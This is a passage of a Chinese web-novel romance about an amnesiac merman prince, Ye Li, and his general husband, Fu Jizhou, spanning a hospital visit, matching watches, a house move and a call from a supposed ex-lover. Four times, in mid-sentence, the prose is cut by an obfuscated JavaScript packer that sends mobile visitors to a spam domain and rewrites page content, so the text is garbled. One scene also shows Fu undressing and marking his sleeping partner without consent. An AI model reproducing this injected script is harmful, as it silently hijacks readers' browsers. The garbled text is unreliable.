变成人腿后叶鲤轻了许多,也没有长尾巴无处安放的难题,傅寂洲轻易把他拦腰抱起,一路走到门口汽车内才把人放下。 医院的消毒水味并不好闻,叶鲤把半张脸埋在傅寂洲怀里,吸了一大口果木香。 “为什么你身上这么甜?” 再有权有钱的人进了医院也不会高兴,更何况眼下人类科技有限,如果叶鲤这次分化出了问题…… 傅寂洲神经紧绷,冷不丁听到叶鲤这样问,愣了片刻。 “因为某人说这种味道香喷喷的,他特别喜欢。”傅寂洲刻意强调了一下“某人”。 叶鲤慢吞吞的哦了一声。 检查报告十分正常,院长举着片子看:“据研究,人鱼尾巴分化程度一定程度上影响人鱼的二次发育。叶小王子经过几年前那次重大创伤以后,他尾部骨骼停滞在未成年时期,尾形也瘦弱偏细,现在分化成人腿是一个好征兆,说明他的身体机能在慢慢好转……” 傅寂洲松了口气。 叶鲤对这个院长印象颇深,因为傅寂洲这个大犟种只听他的话。 院长视线看过来,叶鲤友好的露出一个笑容。 是友军。 真希望傅寂洲现在就去接个电话,他就能稍稍和友军串通一下,让傅寂洲给他再买一个手机。现在随着叶鲤对手机的探索度越来越高,短短四个小时已经完全满足不了他了。 院长平淡的声音顿了顿。这还是他第一次见到人鱼对自己笑。往常叶鲤来见他时,总一副生人勿进的模样,几年过去了,他和叶鲤搭话的机会寥寥无几。 人鱼的眼睛熠熠生光,透着大海般纯净的蓝,他一瞬间觉得自己身处夏日沙滩,在炎炎烈日下畅饮了一大口冰镇椰汁。 他是做梦都没想到叶鲤也会对自己如此和颜悦色,难得他发现自己是他们超话主持人了?院长很想向两位当事人分享自己昨晚吃到的口口文学新粮,但求生的欲望使他忍住了。 万一傅上将觉得冒犯,终止了对他团队的投资,他总不能和学生解释说是自己看的粮太限制级了吧? 他傻笑了没一会,就被傅寂洲不悦的打断了:“还有事吗,没有我们就走了。” 院长敏锐的察觉到了傅寂洲警告的意味,立刻回神:“没事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156182|180567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。叶小王子和上将请回吧。” 寻常人鱼会在成年分化出人腿后,由长辈教导他学习走路,现在叶慕忙于大刀阔斧的政治夺权,这个任务傅寂洲相当自觉的接下了。 两人去挑了一台外骨骼机械产品,辅助性教学。傅寂洲为了陪叶鲤一起奋斗,特意还买了一款最新的跑步机。 之前他过得能有多糙就有多糙,跑步这种进了部队就能立刻进行的运动,着实没必要在买一个华而不实的机器。 现在他带着叶鲤来到专卖店,在一众黑白灰中精挑细选了一个最花哨的,性能不管,马力不提,要的就是颜值和外貌。 导购恭敬地给两人上了茶,嘴像是抹了蜜:“这位小少爷可真有眼光。” 傅寂洲面上不显,淡然嗯了一声,心里再一次庆幸自己长的还算拿的出手。 回家的路上叶鲤就睡了过去,脑袋在傅寂洲的肩上一晃一晃,被他搂着腰往自己身边揽了揽,抱安稳了。 到了家,叶鲤已经打起了小呼噜。 傅寂洲帮他拖了鞋,脱了袜,手掌从脚踝往上摸,最后抽开短裤抽绳,帮他脱掉了碍事的衣服。 昨晚灯光太暗,他没能好好把叶鲤每一寸皮肉都细看一遍。 身下,叶鲤不知道梦见了什么,不安的转过身,蜷起了腿。 傅寂洲一只手掌就能扣住他的脚腕,还能余下一只手,慢条斯理的把五指按进软绵绵的肉里。 又过了很久,傅寂洲才从叶鲤大腿根处抬起脸, 那里赫然印着一片深红色的吻痕。 18. 儿童手表 叶鲤一觉醒来,觉得两条腿酸酸的。 特别是大腿根,随着他起身泛起一阵轻微刺痛。 他打了个哈欠,只当是初次变腿的后遗症。 小天才电话手表屏幕亮着,上面显示着物流消息。 他新购买的三条电子手表已经到快递站了。 “又有什么重要的快递需要我拿?先说好,火鸡面就算了。”电话刚刚接通,傅寂洲冷淡不爽的声音就从手表扩音器里传了出来。 “不是火鸡面,是电话手表。” 下班遇到晚高峰,汽车堵在半路一动不动,傅寂洲看着落日晚霞,眉梢一挑:“昨天手表还好好的,你睡觉掉床下了?” 叶鲤摇了摇头,然后才反应过来这是语言通话,傅寂洲看不到,于是张口说道:“没有掉床,是给你、大哥大嫂买的。” “嗯?哦,哦。” 傅寂洲愣了一下。 外面滴滴叭叭的鸣笛声再也扰乱不了他的情绪,他坐直了,像打了胜仗似的微微一笑,浑身无声播放着胜利的凯歌:“是……一家人都要戴的?” 叶鲤点头:“这个手表有定位系统哦,如果你们走丢了,我就可以找到你们。” 傅寂洲第一次非常迅速的、心甘情愿的去跑腿给叶鲤拿了快递。 为了防止半路不受控制,人腿忽然变回去,聪明小鱼叶鲤还是坐着轮椅下了一楼,在玄关处等到了取快递回来的傅寂洲。 叶鲤拆快递的小刀是一个迷你版的菜刀,还没手掌大,刀柄上印着鲨鱼的猫猫头。 作为一天之中叶鲤最频繁使用的物品之一,上面竟然不是他傅寂洲,为此傅寂洲还吃味儿了很久,专门定做了个一模一样的小菜刀,上面龙飞凤舞的刻了个“傅”字,放在了猫猫头小菜刀旁边。 叶鲤对此没有发表任何言论,面色如常的两把刀替换用,只是那天晚上深夜,他趁着傅寂洲“睡着”后,蹑手蹑脚把鲨鱼抱过来,很有渲染力的趴在傅寂洲身边卖力表演。 “都说打狗还要看主人,傅寂洲总是不喜欢你,肯定是我没有做好。你放心,我以后会吃少少的火鸡面,努力学汉字!” 闭着眼“睡着”了的傅寂洲:“。。。” 根本听不懂叶鲤叭叭叭讲话的鲨鱼恃宠而骄的窝在他们真丝面料四件套上,趾高气昂的喵喵喵。 直到现在,傅寂洲看见叶鲤的小菜刀,还对他上演苦肉计的本事默默赞赏。不愧是他养的鱼,脑子就是好使。 叶鲤才不知道傅寂洲又在回味什么,人鱼的记忆虽然比普通鱼好很多,但是对于不重要的信息,也是七天就忘,那些随性发挥的演出已经从他脑海中淡忘了,只有在拿起菜刀的时候他才隐约会想起来傅寂洲很小气。 三只超大号的儿童手表从盒子里取了出来,颜色一个比一个花哨,看得出叶鲤有用心挑选。 “我来帮你戴上。”叶鲤学着傅寂洲的语气,对傅寂洲勾了勾手指。 每次傅寂洲送给他好看的首饰,都会亲手给他戴上,这种仪式感叶鲤心痒痒了很久,终于能在今天实现了。 虽然刷的是傅寂洲的卡。 傅寂洲对这种五彩斑斓的颜色有种深深敬畏感,他后退一步:“你要不先问问大哥,让他先挑。” 叶鲤诧异的看了傅寂洲一眼,眼神里充满了“哇塞你竟然如此通情达理”,傅寂洲咬着牙别过头。 叶鲤熟练的拨通了视频通话,把三只手表拍给大哥看:“大哥大嫂先挑!” 难题甩给了叶慕,傅寂洲长舒了一口气,笑了笑:“这倒是很难选,都太漂亮了。” “嗯,的确。”叶慕表示认同。 随即他毫不客气地选择了颜色最绚丽,渐变最丰富的那支:“这个最好看。” 傅寂洲抽了抽嘴角。 成年人的世界只剩下成熟过头的黑白灰,傅寂洲更是黑白灰的代言人。他看着叶鲤亲手扣上的手表,心中又甜蜜又痛苦,这彩色把他阴暗的逼格都照亮堂了。 于是第二天,他把手表塞进口袋,重新扣上百达翡丽,大步迈进了会议厅。 随后,叶慕在一众领导众星捧月的待遇下落座,精心打理的发型、黑色高定西装,比人还像人。 傅寂洲不着痕迹的收回视线。 自从叶慕回来,东联盟的会议次数直线上升,傅寂洲身份摆在这,连早退的权利都没了。 会议冗长,轮到叶慕发言时,他插在西装长裤里的手伸了出来,整了一下耳麦,手腕的电子手表清晰可见。 正在喝水的傅寂洲猛地呛了一下。 他简直严重低估了人鱼族的审美。 他又皱眉看着会议厅的媒体,万一叶鲤看了新闻,发现他哥带了,他没带,岂不是……? 会议中场休息时,傅寂洲匆匆去洗手间把百达翡丽取下来,重新扣上了小天才。 “哥,你这……?西装配儿童手表,有个性!”傅寂洲刚出洗手间,丁彦就啧啧围着傅寂洲转了一圈。 “不错,”傅寂洲睨了他一眼,一伸手把手表完完全全露出来,周围记者举着相机噼里啪啦的拍照, “我伴侣送的,我很喜欢。” 从今以后,他不仅要戴,还要光明正大的戴,满怀热情心甘情愿的戴。 —— 叶鲤一开始对家里新购入的外骨骼机械产品产生了强烈的好奇,但几个小时过后,他就完全不感兴趣了。 叶鲤更喜欢自己扶着墙走,迈多大的步伐都不用受限制,而且速度也会很快。 傅寂洲皱眉看着叶鲤从床头走到床尾,勉强认可了叶鲤走路的实力:“慢慢走,不要慌。” 叶鲤脑袋还在点头,脚尖忽然绊到自己随手丢在地上的小贝壳,Duang的砸进傅寂洲紧致的胸肌里。 傅寂洲:“……” 他认命般叹口气,站起身,又把叶鲤捞了起来。 傅寂洲的手放在叶鲤肩上,微微用力让他转过身,沉稳呼吸洒在叶鲤头顶:“走吧,一步一步来,我就在你身后。” 叶鲤从颤颤巍巍的走路,到噔噔噔跳着下楼梯,只用了不到三天。 按照大哥给的经验,只要每日摄入足够多的能量,人鱼能维持人腿长达一个月的时间。 这种做人的感觉非常美妙,他可以轻易拿到傅寂洲特意放在冰箱最上层的快乐水,还能爬上飘窗俯瞰小花园;甚至能站在花洒下面洗澡,而不是像berber乱蹦的大鲤子鱼一样躺在浴缸里。 于是轮椅彻底闲置,成了鲨鱼偶尔休憩的地方。外骨骼机械产品上面被贴满了多巴胺贴画,连傅寂洲的跑步机也没能幸免。 叶鲤学会了走路——这是非常令人、令傅寂洲担心的事情。 万一中途摔了呢?万一哪天他忘记吃饭,走累了忽然变鱼尾了呢? 于是傅寂洲大张旗鼓的把家里所有边边角角都裹上了防撞条,并蹲在楼梯最下面左思右想,请了个长达一个月的事假。 领导难以置信的看着邮件,把上好老檀木办公桌拍的震天响:“他傅寂洲是反了天了!他这是要罢工,要造反!” “D区低等土匪”的称号在这些年一次次大清洗中逐渐不再敢被人提起,毕竟傅寂洲是东联盟无可厚非的利刃。从一开始的冷眼旁观,到近两年明里暗里讨好接近,傅寂洲隐隐有再往上升一步的意味。 况且,傅寂洲是人鱼族首领唯一接见的人类。 上次开会,两人手上还戴着同款手表。非要说是什么叶鲤小王子送的礼物,其实大家都心知肚明,这肯定是用儿童手表包装出来的顶级武器,不然为何目中无人的上将和堂堂人鱼首领,都一致戴在手上,谁也不给? 傅寂洲军功赫赫,又成了人鱼族唯一的上门女婿,成功挤入了东联盟最顶流。当年提拔他的顶头上司也平步升云,如愿以偿坐上了军区司令的位置。 老司令喝了一宿的茶叶,太阳穴胀痛。今晚是军区领导宴请叶慕首领的重要时刻,所有人都严阵以待。 秘书长火烧屁.股般给傅上将家里联系,三分钟过去了,没人接听。 傅寂洲不像是请假,倒像是直接通知众人,他撂挑子不干了。 秘书长背后全是汗,没敢多嘴说一句话。 老司令把邮件从头到尾看了一遍,戴眼镜的手都是抖的:“说什么因为家属需要,抽不开身,全是放屁!他这一走,今晚宴席,谁来出头?” “我先在让何伦上将和寨安上将放下手上任务,前来……” “不不不,他们来多少个都比不上小傅,你给我备礼,我亲自走一趟!” “这……现在?”秘书长吃了一惊。 他心里是瞧不上那群人不人鱼不鱼的怪物的,还口口声声说要和人类做交易,一群群龙无首的蠢货,竟然到现在都不明白这地球上的一切事物都属于人类。 他也见过人鱼族的小王子,是个连人话都不会说的花瓶,也就傅上将把他当宝贝护着。 老司令德高望重,竟然要登门拜访这种人,秘书长眼中鄙夷一闪而过。 傅寂洲请长假的事情很快也传到了叶慕的耳朵里。他这一请假,今晚的宴会能不能办成还是未知数。 别人都在,只有他不在,傅寂洲的名号恐怕会更显眼。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156183|180567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 究竟是真的这么在意他弟弟,还是拿他弟弟当做平步青云的垫脚石? 他拿着手机把玩片刻,给叶鲤打去了电话。 叶鲤过了很久才接通。 “在干什么,这么久才接电话。” 对面叮叮咣咣的声音停止了,叶鲤开了免提,在一旁兴奋的大叫:“我们在搬家!” 搬家? “为什么搬家?我没记错的话你们住的是东联盟分配的一级庄园,他傅寂洲现在搬出去想让给谁住?”叶慕眯起眼睛,忍不住开始阴谋论。 他们住的地段是全联盟环境最好的寸土寸金之地,是身份的象征,傅寂洲没经过他的同意,就敢带他弟弟搬出去? 叶鲤还没回答他,手机里傅寂洲的声音由远及近:“叶鲤,你从哪养的乌龟?家里有一个鲨鱼还不够,你还偷偷喂乌龟?!” “啊?什么乌龟?……好吧好吧我想起来了!不是宠物,这是我从珊瑚湾带回来的口粮,忘记吃了而已。” “你怎么把他横跨半个联盟带回来的……这乌龟都跑去水池里生蛋了!还有,家里短你吃还是短你喝了,你没事给自己抓什么口粮,万一吃坏肚子怎么办?” “蛋?!好吃的,你快给我装起来,我去新家后煮泡面用。” 叶慕:“……” 好像没必要再质问下去了。 他默默挂断了电话。 是他想多了,连他弟多一个乌龟都要大吵大闹的人,怎么可能带他弟弟过苦日子。 —— 搬家这件事情是很早就开始规划的,但傅寂洲身份特殊,调任工作不是一两天就能办下来的。他又舍不得叶鲤跟着他变动来变动去,索性敲定了地点,先把家装修好之后,才和叶鲤一起收拾东西。 傅寂洲孑然一身,当年从D区搬回A区时,只拿了一本书,一把枪。 多年战乱漂泊,他本以为现在全家也只用把叶鲤那些亮晶晶的小玩意装起来就够了,没想到先放不下的是他。 “这是你在床上吃饭用的小桌子,你确定不拿走?”傅寂洲皱眉拎起小桌,转头问道。 叶鲤果断摇头:“不拿走。” 他前几天还梦见这个小桌子,他正在喝一种灰不溜秋的饮料,里面还有乌漆嘛黑的小球球,傅寂洲冷不丁进来,吓得他一口气吸到顶,直接把小球球吸进了气管,在傅寂洲面前咳的天昏地暗。 他也不明白梦境中的自己为什么有一种强烈的尴尬感,好像在傅寂洲面前丢人是一件天塌了一般严重的事情,明明傅寂洲人挺好的。 但是梦里的羞耻和尴尬太强烈,导致他再看到角落里的这张桌子,直接婉拒带去新家。 傅寂洲稍稍遗憾。 叶鲤失忆前的某段时间里,经常在床上架着这张桌子,吃垃圾食品。每次他抓包时,叶鲤都会露出可爱的表情,连脸颊都是红的,可爱。 除了有几次喝奶茶时呛得咳嗽,惹得叶鲤不高兴。 奶茶确实是害鱼的东西,自从把奶茶从他们的小家庭中踢出去后,他们夫夫生活是越来越和谐了。 “那这个小碗也不拿?” “不拿!” 傅寂洲手里这个黄色的碗更是不能提,在他梦里,这个用泥巴烧成的碗是他某次离家出走时,和胖胖一起制作的。 他做了两个小时,被赶来的傅寂洲薅回家去。 叶鲤一路上都在生闷气,别的鱼都可以出去玩,只有他需要经过傅寂洲的允许,这让他鱼脸往哪搁? 这种悲愤的心情在他看到自己DIY的碗竟然漏水时达到了顶峰。 他辛辛苦苦做了两个小时,竟然不能用?! 一气之下,他把碗扔在了客厅,连吃饭时都没再宠幸它。 饭后傅寂洲在他面前转悠了很久,最后指着碗问:“是给我做的吗?” 不知为什么,梦中的叶鲤明明这么讨厌傅寂洲,那么抗拒和他共同待在一个屋檐下,但是当傅寂洲问出这话时,他竟然不想戳破他眼睛里的希冀。 但是漏水的碗实在拿不出手,而且这是他第一次用泥巴烧制成一个碗,碗口是方形的。 “……我给自己做的,”叶鲤干巴巴的说了一句,却又急急找补, “下次,下次给你做。” 他上次的梦境就做到这儿,等他惊醒后,傅寂洲已经到家了,他没脱军装,眼睛里的光和梦境中一模一样,轻轻吻了吻他的鬓角。 叶鲤回过神,看着成箱成箱的需要搬到新家的物品,低头嘟囔: “那个碗漏水,扔掉吧,等我有空再做一个新的送给你。” 19. 搬家 门铃响了很久,没有人应声。 老司令的脸已经黑的能滴墨,现在是夏季最高温的时候,太阳火辣辣的照在身上,不一会儿,老司令和秘书长的后背就被汗水洇湿了。 从来没遭过这种罪的秘书长恨不得一脚把门踹开,但他用尽毕生教养,还是面容扭曲的拍了拍门:“傅上将,您在家吗?” 这次终于有人回应道:“来了!” 秘书长长长舒了一口滚烫的热气。 两人站在高达40度的室外高温下,足足五分钟后,管家才姗姗来迟,打开了门。 “你们做下人的怎么回事——” “老先生,真是抱歉,我们家先生在搬家,叮叮咣咣的噪音大,连个下脚的地方都没,也实在腾不出来手。”管家一个眼神都没分给秘书长,负手而立,彬彬有礼,让人挑不出一丝破绽。 老司令今年堪堪五十四岁,他自诩壮年,被这个白胡子管家喊了一声老先生,一口气差点没上来。他真想把傅寂洲喊出来理论理论,问问这个D区升上来的野种是怎么和下人教规矩的,但是管家身后的凉风太诱人,他阴沉着脸一声不吭的走进别墅。 秘书长四下环视一周,眼中露出鄙夷。乌烟瘴气,乱七八糟,整个会客厅连一个上得了台面的摆件都没有,全是颜色低俗的贝壳珍珠。 “啊——” 他只顾着审视会客厅的环境,没注意到脚下全是零散的物件,差点摔了出去。 “你!”秘书长怒气冲冲的看着管家。 后者一脸无辜的摊手:“我说了家里没有下脚的地方,你是不是没听见?” 他,整个别墅一人之上万人之下的管家,连迷人可爱的叶小王子也要喊他一声管家伯伯,可不是文绉绉只会算账的文人。 在十年前,他是D区废品回收站无人能敌的破烂大王,谁敢在他面前叫嚣,他一个玻璃瓶下去直接开干。 跟着小傅来了A区这么多年,已经很少有动粗的机会了,他看得出来这个面色不善的老头会点功夫,有点期待他暴起和自己过两招。 但他只是气沉丹田的坐了下来:“让傅寂洲来见我。” “好的,老先生,”管家操着一口练了十来年的A区标准普通话,优美欠身,“请问您贵姓?” 老司令深深、深深、深深吸了一口气。 秘书长头上的发胶都要升温融化了,他噌的站了起来:“你眼睛是不是瞎了?这可是军区司令,还不快让傅上将快点下来接见!” 管家是真不认识,他自以为隐秘的打量了一下两人,点点头离开了。 傅寂洲性格冷淡,很少有同事领导来家中做客,他还是第一次看到小傅的领导。 小傅天天表现的那么轻松,原来领导这么不好相处,他是个不善言辞的乖孩子,在工作上也不知道被穿了多少小鞋,管家沉沉叹了口气。 不过……军区司令? 管家上楼上到一半,猛的反应过来:刚刚是不是把小傅的领导给得罪了?! “先生,先生!”管家做贼似的跑上二楼,用气声说道,“你刚刚让我下楼随便接待的那个老头,是你的领导!” “嗯,人走了吗?” “没走,等着你下去见他们呢,”管家看傅寂洲知道来人是谁,松了一口气,“要不要我把他们请出去?” 傅寂洲立刻起身挥了挥手:“那还是算了,我不放心你。” 万一把人打残了,出钱的还是他。 管家后退两步,看着傅寂洲下楼,不禁感慨一声:“好孩子,可真有礼貌。” 不愧是他们D区的骄傲。 叶鲤停下了手中的活,疑惑的看了看管家。 管家伯伯已经老眼昏花到这个地步了吗? —— 傅寂洲下楼之后,叶鲤只听到了一声响亮浑厚的“放屁!”,片刻后,傅寂洲神色如常的上来了,并且往叶鲤嘴里塞了一个甜甜的糕点。 “唔?” “别人送礼给的,尝尝,你喜欢的话就留下。” 他从老司令动身赶来的那一刻就收到了消息,但听到对方备了礼,忍住了没半路把人赶走。 老司令一辈子贪污腐败违法乱纪,吃的精细又高雅,说不定家里的鱼会喜欢。 傅寂洲盯着叶鲤,看着他两三口把一块糕点吃完,心里有了数,转头对管家说:“留下吧,搬家的路上吃。” 叶鲤不知道底下发生了什么,他想问,却被繁重的搬家任务打断,索性又把疑问抛在了脑后。 反正他有糕点吃,事情也不是很糟糕。 叶鲤的任务繁重,繁重在家里上上下下大大小小的事物,只要是叶鲤用过的碰过的,都会被傅寂洲拎起来问:“要带走吗?” 一天下来,叶鲤口干舌燥,趴在床上沉沉睡了过去,连什么时候到新家的都不知道。 叶鲤一觉醒来,窗外阳光明媚,按照他在东联盟的睡眠习惯,这个点应该睡个回笼觉。 结果他刚闭上眼睛,就被傅寂洲弹了弹鼻尖。 “太阳晒屁/股了,起床。” 叶鲤翻身趴在枕头上,撅起屁/股很慷慨的说:“晒吧,我不怕。” 傅寂洲把手中的泡面桶盖子掀开了,美妙香味瞬间扩散。 叶鲤噌的一下从床上弹坐起来。 傅寂洲轻笑一声:“去洗漱,然后吃面。” 这简直是叶鲤有史以来做过的最美好的梦境,美好到他自己都不相信了。 不,他做梦都没有梦到过如此合心意的场景。上周他还连续两晚梦见傅寂洲和颜悦色的喂他吃面,结果叉子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156184|180567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一直叉不到面条,把他着急的出了一脑门子汗,直接惊醒了。 “不是梦,快去洗漱。”傅寂洲精准猜到了他的想法。 叶鲤怀疑的捏了一把傅寂洲的胳膊:“疼吗?” 傅寂洲:“……疼。” 叶鲤这才放心去洗漱了。 凉水一冲,把浆糊似的思路捋顺了,叶鲤在洗漱间转了一圈,又匆匆走出来在卧室转了一圈,肉眼可见的兴奋道:“这是新家!” 傅寂洲嗯哼一声:“没错,新家第一顿饭,给你煮了泡面,如何?” 傅寂洲拿起叉子搅了搅,叶鲤敏锐的看到里面切了小葱,滴了香油,豪气的卧了两个蛋,还有一根被傅寂洲称为垃圾食品,一周只能吃一次的淀粉肠。把不大的泡面桶装得满满当当。 叶鲤觉得这是人生最幸福的时刻。 没有之一。 叶鲤是在搬新家的第三天早上才意识到,傅寂洲这几天都没有去上班。 叶鲤忧心忡忡:“你是因为和领导吵架,被炒鱿鱼了吗?” 一个整日沉迷大耳朵图图的文盲,竟然还知道什么是炒鱿鱼,傅寂洲觉得很了不起。 他像是全人类最讨厌的那种家长,问出了小孩最讨厌的那个问题:“你知道鱿鱼两个字怎么写吗?” 叶鲤当真认真的抓起傅寂洲的手,示意他掌心朝上,随后一笔一划写出来了“鱿鱼”。 笔画顺序正确,偏旁部首正确,叶鲤真的不是一条文盲鱼了。 掌心微痒,傅寂洲像是感慨孩子长大了的家长,深深看着叶鲤说道:“长大了。” 能跑能跳,会说人话会写字,叶鲤已经和正常人没有什么区别了。但是由于他从来没有踏入过人类社会,眼睛总是带着不谙世事的纯净。 “那当然,再过没几天,我就要过十八岁……啊不对,是二十四岁的生日了,我是一名成熟的人鱼。” 傅寂洲顺口嗯了一声:“也是,你发.情期也快要到了。” 这个词叶鲤懂,人鱼成年后,每隔一年都会有一次发.情期,期间体温会升高,必须要和伴侣抱在一起度过一周,才会好转。 没有伴侣的人鱼,只能一个人自力更生,捱过一周的高热。 他没有记忆,不知道具体要怎么做,但是傅寂洲知道,他做事这么靠谱,自己一定能平稳度过失忆后的第一个发.情期。 “到时候还要麻烦你了,”叶鲤认真说道,“你失业的事情不要担心,我让我哥来帮你安排工作。” 小小年纪,还学会了帮老攻走后门,傅寂洲不得不纠正自己在叶鲤心中无业游民的形象: “我手中有兵。” 叶鲤迷茫的眨眨眼。 傅寂洲说:“他们想开除我,就要做好东联盟最高领导人换位的准备。” 20. 脚踏两只船 鱼生幸福。 叶鲤泡在六百多平的室内泳池中,修长的双腿交叠,白金色长发飘在身边,随着水波荡漾出朦胧璀璨的光。 他看着头顶梦幻星空顶天花板,摇了摇手中高脚杯,眯着眼浅尝了一口快乐水。 穿过这个室内泳池,外面还连着一个超大的露天泳池,内壁涂了彩绘,天气好的时候叶鲤可以变出鱼尾,畅游一圈又一圈。 虽然比不上辽阔的大海,但却更加精美繁复,这不比下海强啊! 当初他榜上这位大款,真是聪明的决定。 他这些无理要求就算是他亲大哥听到,也会拿起棍子抽他一顿,傅寂洲竟然轻描淡写的做到了。 叶鲤感慨到一半,手机铃声响起,来电显示是胖胖。 “喂?” “……”对方没有出声,沉静的呼吸却在一瞬间急促起来。 这不是胖胖,叶鲤敏锐的看了一眼手机备注:“你是谁?” 短暂沉寂过后,对方好像燃尽了愤怒,自嘲一笑:“我是谁?叶鲤,你还有心吗?” “……?”叶鲤懵逼的放下高脚杯。 “你说你是为了全族的安危,不得已才和人类结婚,那现在叶慕回来了,你为什么不离婚?!叶鲤,我连尊严都放弃了,你还要这样一年一年让我空等,很有意思吗?!” 叶鲤努力辨认了很久,不确定道:“秦……望?” 对面沉默了片刻,声音戛然而止。粗重的喘息声很大,好像随时都能被气的嘎过去。 “是我没错,怎么,你被傅寂洲养在金笼里,把其他人都给忘记了?” 怎么上来就指责人啊!不知道他失忆了吗? 叶鲤什么都不记得了,但是唯独脾气没丢,他之前就觉得秦望有毛病,总是莫名其妙的生气,生完气还让胖胖过来传话告诉他,让他去哄。 他可是小!王!子! 叶鲤新仇加旧恨,正准备使劲按下挂断键,秦望又说话了, “我只问你一句,你还爱我吗?” “还”? 这个字就很意味深长了,叶鲤怒火顷刻间散了个一干二净,他惊了一下,哗啦一声从泳池站起身,紧张的问道:“你什么意思呀?” 这叫什么话?难道他之前和秦望有过一段? “金湾三号119房间,今晚你不来,我们缘分就到此为止吧。” 手机里传来电话被挂断的“嘟嘟嘟”忙音,叶鲤举着手机,瞳孔地震。 他转头看着东联盟第一豪华泳池,又举起手看着手上硕大的鸽子蛋,和头发上镶满钻的发卡,心脏不堪重负的噗噗乱跳。 靠,这么舒坦的日子,他还脚踏两只船! 可是秦望根本不是自己喜欢的类型,他怎么可能和秦望有一腿呢? 叶鲤严肃的啃着手指。 不对,傅寂洲性格这么凶,他照样缠着人家,给人家定家规。 万一秦望不是在开玩笑,那他…… 叶鲤鱼躯一震。 新应聘来的西点师小碎步走过来,在叶鲤专属小托盘上填满了茶和甜品,笑眯眯地示意人鱼请慢用;身后管家人不高嗓门却很大,在嚷嚷着落地窗的窗帘一定要换成叶鲤喜欢的五彩多巴胺配色; 休假在家的傅寂洲给他打来了电话,声音温和,丝毫不知叶鲤刚刚经历了怎样的头脑风暴, “厨房新运回来一条金枪鱼,中午想吃吗?” 叶鲤干巴巴嗯了一声。 傅寂洲继续说道:“你可以问问我在干什么。” 叶鲤“哦”了一声:“你在干嘛?” “接点私活,给你买钻戒。” 叶鲤立刻捧场的大声夸赞了傅寂洲一番,宣布他是东联盟第一好男人,宇宙无敌大帅哥等等,至此,这通电话的使命才算真正完成。 傅寂洲施施然挂断电话,告诉叶鲤午饭时再见。 多么完美的伴侣,多么富裕的财富,叶鲤盯着“傅寂洲”三个字,又看了看下面“秦望”两个字。 很明显,已经没有可比性了。 不管他年轻时……呸,年老时干过什么错事,十八岁的叶鲤都会把这件事摆平,绝不让任何人影响到他的幸福鱼生。 —— 叶鲤快步走进卧室。 他把一个橙黄色的背包拉开,哗啦啦的把里面塞的零碎小饰品倒出来,塞进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156185|180567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水杯和小鱼干,想了想又抱起了鲨鱼,噔噔噔下楼出门。 家里的门锁又拧不开,管家放下手中的账本,小跑过来:“小王子这是去哪里?” 叶鲤没出声,只是指了指门把手:“管家伯伯,门锁又坏了。” “是,是,这门锁不利索,小王子你得稍等一会,我让人来修。” 于是叶鲤背着小书包被管家请去了客厅沙发上。 管家不慌不忙地给他上了一杯热茶,和一盘小贝壳西点。 这种情况发生过好几次了,叶鲤怀疑傅寂洲得罪了全联盟的卖锁匠。 傅寂洲从书房走了出来,撩起眼皮看了一眼热火朝天修锁团,把目光转向啃小贝壳的叶鲤, “去哪?我开车送你。” 叶鲤啃贝壳的动作停止了。 去见让你戴绿帽的人。 叶鲤垂眼喝了一口清茶,遮住眼中的心虚:“胖胖请我出去玩,不用你送,我自己去也可以的。” “不耽误挣钱给你买钻戒,”傅寂洲已经披上了外套,大门应声而开,男人偏头示意叶鲤跟上, “走吧,早去早回,金枪鱼给你放冷库里冻着。” 路上,叶鲤坐在副驾驶,活像是屁.股下面有针,翻来覆去的动。 鲨鱼在车子里没办法跑酷,不爽地伸长了面条似的身体,扒着窗户励志把玻璃刮花。 傅寂洲看了他一眼,叶鲤立刻安静了几秒,把大功告成的鲨鱼团进了怀里。 几秒过后,鲨鱼又开始开拖拉机,叶鲤支支吾吾的说:“我想问你一件事。” “说。” “就是,”叶鲤挠头,“你之前有没有喜欢过什么人?” 希望傅寂洲说有,这样的话,即使他这边东窗事发,他也有底气和傅寂洲叫板。 